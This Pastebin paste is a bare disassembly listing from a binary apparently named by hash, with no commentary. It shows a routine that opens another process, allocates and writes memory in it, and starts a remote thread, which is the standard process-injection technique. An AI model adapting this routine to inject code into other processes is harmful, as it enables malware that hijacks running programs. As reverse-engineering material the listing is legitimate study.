Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 00402174 55 PUSH EBP
- 00402175 8BEC MOV EBP,ESP
- 00402177 83EC 18 SUB ESP,18
- 0040217A 53 PUSH EBX
- 0040217B 33DB XOR EBX,EBX
- 0040217D 395D 0C CMP DWORD PTR SS:[EBP+C],EBX
- 00402180 0F84 52010000 JE 4FDA5E7E.004022D8
- 00402186 395D 10 CMP DWORD PTR SS:[EBP+10],EBX
- 00402189 0F84 49010000 JE 4FDA5E7E.004022D8
- 0040218F FF75 08 PUSH DWORD PTR SS:[EBP+8]
- 00402192 895D F8 MOV DWORD PTR SS:[EBP-8],EBX
- 00402195 53 PUSH EBX
- 00402196 6A 3A PUSH 3A
- 00402198 FF15 6C604000 CALL DWORD PTR DS:[40606C] ; kernel32.OpenProcess
- 0040219E 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
- 004021A1 3BC3 CMP EAX,EBX
- 004021A3 0F84 2F010000 JE 4FDA5E7E.004022D8
- 004021A9 56 PUSH ESI
- 004021AA 57 PUSH EDI
- 004021AB 53 PUSH EBX
- 004021AC E8 ECF5FFFF CALL 4FDA5E7E.0040179D
- 004021B1 6A 01 PUSH 1
- 004021B3 8945 EC MOV DWORD PTR SS:[EBP-14],EAX
- 004021B6 E8 E2F5FFFF CALL 4FDA5E7E.0040179D
- 004021BB 8B35 78604000 MOV ESI,DWORD PTR DS:[406078]
- 004021C1 6A 04 PUSH 4
- 004021C3 BF 00100000 MOV EDI,1000
- 004021C8 57 PUSH EDI
- 004021C9 FF75 10 PUSH DWORD PTR SS:[EBP+10]
- 004021CC 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
- 004021CF 53 PUSH EBX
- 004021D0 FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 004021D3 FFD6 CALL ESI ; kernel32.VirtualAllocEx
- 004021D5 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX
- 004021D8 3BC3 CMP EAX,EBX
- 004021DA 0F84 E8000000 JE 4FDA5E7E.004022C8
- 004021E0 53 PUSH EBX
- 004021E1 FF75 10 PUSH DWORD PTR SS:[EBP+10]
- 004021E4 FF75 0C PUSH DWORD PTR SS:[EBP+C]
- 004021E7 50 PUSH EAX
- 004021E8 FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 004021EB FF15 80604000 CALL DWORD PTR DS:[406080] ; kernel32.WriteProcessMemory
- 004021F1 85C0 TEST EAX,EAX
- 004021F3 0F84 CF000000 JE 4FDA5E7E.004022C8
- 004021F9 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
- 004021FC 8B4D F0 MOV ECX,DWORD PTR SS:[EBP-10]
- 004021FF 6A 04 PUSH 4
- 00402201 57 PUSH EDI
- 00402202 8948 28 MOV DWORD PTR DS:[EAX+28],ECX
- 00402205 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
- 00402208 51 PUSH ECX
- 00402209 53 PUSH EBX
- 0040220A FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 0040220D 8948 2C MOV DWORD PTR DS:[EAX+2C],ECX
- 00402210 FFD6 CALL ESI ; kernel32.VirtualAllocEx
- 00402212 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX
- 00402215 3BC3 CMP EAX,EBX
- 00402217 0F84 AB000000 JE 4FDA5E7E.004022C8
- 0040221D 53 PUSH EBX
- 0040221E FF75 10 PUSH DWORD PTR SS:[EBP+10]
- 00402221 FF75 0C PUSH DWORD PTR SS:[EBP+C]
- 00402224 50 PUSH EAX
- 00402225 FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 00402228 FF15 80604000 CALL DWORD PTR DS:[406080] ; kernel32.WriteProcessMemory
- 0040222E 85C0 TEST EAX,EAX
- 00402230 0F84 80000000 JE 4FDA5E7E.004022B6
- 00402236 6A 40 PUSH 40
- 00402238 57 PUSH EDI
- 00402239 FF75 F4 PUSH DWORD PTR SS:[EBP-C]
- 0040223C 53 PUSH EBX
- 0040223D FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 00402240 FFD6 CALL ESI ; kernel32.VirtualAllocEx
- 00402242 8BF0 MOV ESI,EAX
- 00402244 3BF3 CMP ESI,EBX
- 00402246 74 6E JE SHORT 4FDA5E7E.004022B6
- 00402248 53 PUSH EBX
- 00402249 FF75 F4 PUSH DWORD PTR SS:[EBP-C]
- 0040224C FF75 EC PUSH DWORD PTR SS:[EBP-14]
- 0040224F 56 PUSH ESI
- 00402250 FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 00402253 FF15 80604000 CALL DWORD PTR DS:[406080] ; kernel32.WriteProcessMemory
- 00402259 85C0 TEST EAX,EAX
- 0040225B 74 49 JE SHORT 4FDA5E7E.004022A6
- 0040225D 53 PUSH EBX
- 0040225E 53 PUSH EBX
- 0040225F FF75 F0 PUSH DWORD PTR SS:[EBP-10]
- 00402262 56 PUSH ESI
- 00402263 53 PUSH EBX
- 00402264 53 PUSH EBX
- 00402265 FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 00402268 FF15 68604000 CALL DWORD PTR DS:[406068] ; kernel32.CreateRemoteThread
- 0040226E 8BF8 MOV EDI,EAX
- 00402270 3BFB CMP EDI,EBX
- 00402272 74 32 JE SHORT 4FDA5E7E.004022A6
- 00402274 6A FF PUSH -1
- 00402276 57 PUSH EDI
- 00402277 FF15 60604000 CALL DWORD PTR DS:[406060] ; kernel32.WaitForSingleObject
- 0040227D 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
- 00402280 50 PUSH EAX
- 00402281 57 PUSH EDI
- 00402282 C745 F8 01000000 MOV DWORD PTR SS:[EBP-8],1
- 00402289 FF15 7C604000 CALL DWORD PTR DS:[40607C] ; kernel32.GetExitCodeThread
- 0040228F 85C0 TEST EAX,EAX
- 00402291 74 09 JE SHORT 4FDA5E7E.0040229C
- 00402293 817D E8 03010000 CMP DWORD PTR SS:[EBP-18],103
- 0040229A 75 03 JNZ SHORT 4FDA5E7E.0040229F
- 0040229C 895D F8 MOV DWORD PTR SS:[EBP-8],EBX
- 0040229F 57 PUSH EDI
- 004022A0 FF15 5C604000 CALL DWORD PTR DS:[40605C] ; kernel32.CloseHandle
- 004022A6 68 00800000 PUSH 8000
- 004022AB 53 PUSH EBX
- 004022AC 56 PUSH ESI
- 004022AD FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 004022B0 FF15 70604000 CALL DWORD PTR DS:[406070] ; kernel32.VirtualFreeEx
- 004022B6 68 00800000 PUSH 8000
- 004022BB 53 PUSH EBX
- 004022BC FF75 F0 PUSH DWORD PTR SS:[EBP-10]
- 004022BF FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 004022C2 FF15 70604000 CALL DWORD PTR DS:[406070] ; kernel32.VirtualFreeEx
- 004022C8 FF75 FC PUSH DWORD PTR SS:[EBP-4]
- 004022CB FF15 5C604000 CALL DWORD PTR DS:[40605C] ; kernel32.CloseHandle
- 004022D1 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
- 004022D4 5F POP EDI
- 004022D5 5E POP ESI
- 004022D6 EB 02 JMP SHORT 4FDA5E7E.004022DA
- 004022D8 33C0 XOR EAX,EAX
- 004022DA 5B POP EBX
- 004022DB C9 LEAVE
- 004022DC C3 RETN
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement